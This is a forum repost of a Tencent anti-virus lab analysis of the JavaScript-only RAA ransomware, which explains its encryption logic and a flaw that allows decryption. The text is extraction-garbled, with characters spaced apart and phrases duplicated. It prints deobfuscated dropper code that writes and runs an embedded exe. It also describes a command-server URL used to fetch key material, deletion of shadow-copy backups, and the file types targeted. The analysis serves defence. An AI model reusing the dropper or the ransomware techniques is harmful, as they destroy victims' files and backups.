搜索

[10354] 2016-07-30_一个纯JS脚本的文档敲诈者剖析（附解密工具）

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2016-07-30_一个纯JS脚本的文档敲诈者剖析（附解密工具） 一 个 纯 J S 脚 本 的 文 档 敲 诈 者 剖 析 （ 附 解 密 工 具 ） 腾 讯 电 脑 管 家   F r e e B u f   2 0 1 6 - 0 7 - 3 0 0 x 0 0   概 述 概 述 近 日 ， 腾 讯 反 病 毒 实 验 室 拦 截 到 一 个 名 为 近 日 ， 腾 讯 反 病 毒 实 验 室 拦 截 到 一 个 名 为 R A A 的 敲 诈 者 木 马 ， 其 所 有 的 功 能 均 在 的 敲 诈 者 木 马 ， 其 所 有 的 功 能 均 在 J S 脚 本 里 完 成 。 这 有 别 于 过 往 敲 诈 者 仅 把 脚 本 里 完 成 。 这 有 别 于 过 往 敲 诈 者 仅 把 J S 脚 本 当 作 一 个 下 载 器 ， 去 下 载 和 执 行 真 正 的 敲 诈 者 木 马 。 采 用 脚 本 当 作 一 个 下 载 器 ， 去 下 载 和 执 行 真 正 的 敲 诈 者 木 马 。 采 用 J S 脚 本 编 写 木 马 ， 混 淆 加 密 更 加 容 易 ， 并 且 增 加 了 杀 软 的 脚 本 编 写 木 马 ， 混 淆 加 密 更 加 容 易 ， 并 且 增 加 了 杀 软 的 查 杀 难 度 ， 敲 诈 者 木 马 与 杀 软 的 对 抗 进 一 步 升 级 。 但 是 经 分 析 ， 发 现 名 为 查 杀 难 度 ， 敲 诈 者 木 马 与 杀 软 的 对 抗 进 一 步 升 级 。 但 是 经 分 析 ， 发 现 名 为 R A A 的 敲 诈 者 木 马 在 部 分 场 景 下 存 在 逻 辑 缺 陷 ， 的 敲 诈 者 木 马 在 部 分 场 景 下 存 在 逻 辑 缺 陷 ， 可 实 现 对 加 密 文 档 的 解 密 。 可 实 现 对 加 密 文 档 的 解 密 。 解 密 工 具 ： < 点 击 文 末 阅 读 原 文 按 钮 下 载 解 密 工 具 > 0 x 0 1   样 本 分 析 样 本 分 析 0 x 0 1   样 本 分 析 样 本 分 析 1 、 运 行 J S 后 ， 首 先 会 在 M y   D o c u m e n t s 目 录 下 释 放 一 个 假 文 档 ， 文 件 名 形 如 ： d o c _ a t t a c h e d _ * ， 并 且 用 记 事 本 打 开 ； 文 档 内 容 是 提 示 用 户 该 文 档 无 法 正 常 打 开 。
2 、 打 开 假 文 档 之 后 ， 释 放 e x e 病 毒 。 在 J S 中 ， 存 有 e x e 数 据 ， 并 且 释 放 e x e 病 毒 的 代 码 也 经 过 有 加 密 ， 解 密 后 执 行 释 放 e x e 病 毒 、 运 行 ； 该 e x e 会 进 一 步 下 载 释 放 其 他 恶 意 软 件 ， 在 此 不 进 一 步 详 细 分 析 。 代 码 解 密 后 如 下 ： v a r   f l o   =   n e w   A c t i v e X O b j e c t   ( " A D O D B . S t r e a m " ) ; v a r   r u n e r   =   W S c r i p t . C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) ; v a r   w h e r   =   r u n e r . S p e c i a l F o l d e r s ( " M y D o c u m e n t s " ) ; w h e r   =   w h e r   +   " "   +   " s t . e x e " ; f l o . C h a r S e t   =   " 4 3 7 " ; f l o . O p e n ( ) ; v a r   p n y   =   d a t a _ p n . r e p l a c e ( / N M S I O P / g ,   " A " ) ; v a r   p n y _ a r   =   C r y p t o J S . e n c . B a s e 6 4 . p a r s e ( p n y ) ;
v a r   p n y _ d e c   =   p n y _ a r . t o S t r i n g ( C r y p t o J S . e n c . U t f 8 ) ; f l o . P o s i t i o n   =   0 ; f l o . S e t E O S ; f l o . W r i t e T e x t ( p n y _ d e c ) ; f l o . S a v e T o F i l e ( w h e r ,   2 ) ; f l o . C l o s e ; w h e r   =   " " "   +   w h e r   +   " " " ; r u n e r . R u n ( w h e r ) ;   3 、 加 密 前 ， 首 先 会 去 读 注 册 表 H K C U R A A R a a - f n l 键 值 ， 如 果 存 在 则 判 定 该 机 器 已 经 加 密 过 ， 不 再 加 密 。   4 、 创 建 启 动 项
5 、 删 除 系 统 服 务 V S S ， 使 得 用 户 无 法 从 备 份 从 恢 复 文 件 。 6 、 将 生 成 用 户 I D 写 入 注 册 表 H K C U R A A R a a - I D  
7 、 将 用 户 I D 附 加 上 ”   -   R A A ” ， 生 成 如 下 u r l ： h * * p : / /   d a t a g i v e r d . c o m / m a r s 9 . p h p ? i d = X X X X X X X X X   –   R A A 用 G E T 方 式 获 取 数 据 。 返 回 数 据 用 于 生 成 加 密 密 钥 和 生 成 比 特 币 钱 包 地 址 ， 后 面 详 细 分 析 。 8 、 遍 历 目 录 ， 当 遇 到 在 如 下 目 录 的 文 件 ， 便 会 过 滤 不 加 密 ： W I N D O W S ,   R E C Y L E R ,   P r o g r a m   F i l e s ,   P r o g r a m   F i l e s   ( x 8 6 ) ,   W i n d o w s ,   R e c y c l e . B i n ,   R e c y c l e r ,   T E M P ,   A P P D A T A ,   A p p D a t a ,   T e m p , P r o g r a m D a t a ,   M i c r o s o f t
9 、 遍 历 文 件 ， 当 文 件 名 后 缀 为 “ . l o c k e d ” 或 者 文 件 名 中 包 含 “ ~ ” 、 “ $ ” 时 ， 同 样 也 会 过 滤 不 加 密 ； 文 件 为 如 下 后 缀 时 ， 便 会 成 为 加 密 的 目 标 文 件 ： . d o c ,   . x l s ,   . r t f ,   . p d f ,   . d b f ,   . j p g ,   . d w g ,   . c d r ,   . p s d ,   . c d ,   . m d b ,   . p n g ,   . l c d ,   . z i p ,   . r a r ,   . c s v 1 0 、 把 文 件 加 密 为 后 缀 名 为 ” . l o c k e d ” 的 文 件 ， 如 1 2 3 . j p g 生 成 为 1 2 3 . j p g . l o c k e d
1 1 、 加 密 完 成 后 ， 创 建 注 册 表 H K C U R A A R a a - f n l 并 且 将 值 设 置 为 b e e n F i n i s h e d ； 同 时 在 C 盘 根 目 录 下 创 建 ! ! ! R E A D M E ! ! ! * . r t f 文 件 ， 用 写 字 板 打 开 ， 提 示 敲 诈 信 息 。 0 x 0 2   加 密 分 析 加 密 分 析 该 敲 诈 者 会 把 所 有 的 文 档 都 用 A E S - 2 5 6 进 行 加 密 ， 下 面 是 对 加 密 过 程 的 详 细 分 析 。 1 、   从 h * * p : / /   d a t a g i v e r d . c o m / m a r s 9 . p h p ? i d = X X X X X X X X X   –   R A A 获 取 相 关 加 密 信 息 。 返 回 数 据 以 逗 号 分 为 两 段 ， 第 一 段 长 度 为 2 0 0 0 ， 用 于 生 成 加 密 密 钥 ； 第 二 段 则 为 用 于 敲 诈 的 比 特 币 钱 包 地 址 ：
2 、   加 密 之 前 ， 首 先 生 成 3 2 个 0 - 2 0 0 0 的 随 机 数 ，   生 成 序 列 A ； 然 后 以 序 列 A 中 每 个 数 作 为 地 址 ， 在 服 务 器 返 回 的 长 度 2 0 0 0 的 数 据 中 ， 获 得 该 地 址 的 值 ， 生 成 长 度 同 为 3 2 的 序 列 B ， 序 列 B 将 作 为 加 密 密 钥 ； 之 后 重 复 该 过 程 ， 生 成 加 密 I V 。
3 、   对 于 不 用 大 小 的 文 件 ， 会 有 不 同 的 加 密 逻 辑 ， 主 要 分 为 4 种 ： ① 文 件 大 小 约 在 6 K - 5 M 之 间 ② 文 件 大 小 约 在 5 M - 5 0 0 M 之 间 ③ 文 件 大 小 小 于 6 K ④ 文 件 大 小 大 于 5 0 0 M 加 密 完 成 后 ， 都 会 在 文 件 末 尾 附 加 一 段 数 据 ， 形 如 ： I D N U M = [ I D ] K E Y _ L O G I C = [ K E Y _ L ] I V _ L O G I C = [ I V _ L ] L O G I C _ I D = [ N U M B E R ] ①   I D N U M ： 用 户 机 器 I D ②   K E Y _ L O G I C ： 用 于 生 成 加 密 密 钥 的 随 机 码 ③   I V _ L O G I C ： 用 于 生 成 密 钥 向 量 的 随 机 码 ④   L O G I C _ I D ： 标 识 该 文 件 所 用 的 加 密 逻 辑
1 ） 文 件 大 小 约 在 6 K - 5 M 之 间 （ L O G I C _ I D = 1 ） 在 [ 2 0 0 0 ,   2 0 4 0 ] 之 间 取 随 机 数 n 作 为 长 度 ， 将 文 件 数 据 分 割 为 5 块 ， 生 成 如 下 结 构 的 二 维 数 组 d a t a ： 文 件 原 数 据 顺 序 为 ： d a t a [ 0 ] [ 0 ] → d a t a [ 1 ] [ 0 ] → d a t a [ 0 ] [ 1 ] → d a t a [ 1 ] [ 1 ] → d a t a [ 0 ] [ 2 ] 之 后 仅 对 d a t a [ 0 ] 进 行 加 密 ， 即 加 密 d a t a [ 0 ] [ 0 ] 、 d a t a [ 0 ] [ 1 ] 、 d a t a [ 0 ] [ 2 ] ， 以 “ = E N D = O F = H E A D E R = ” 作 为 结 尾 ； 后 面 直 接 附 加 上 d a t a [ 1 ] ， 即 未 加 密 的 d a t a [ 1 ] [ 0 ] 、 d a t a [ 1 ] [ 1 ] 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理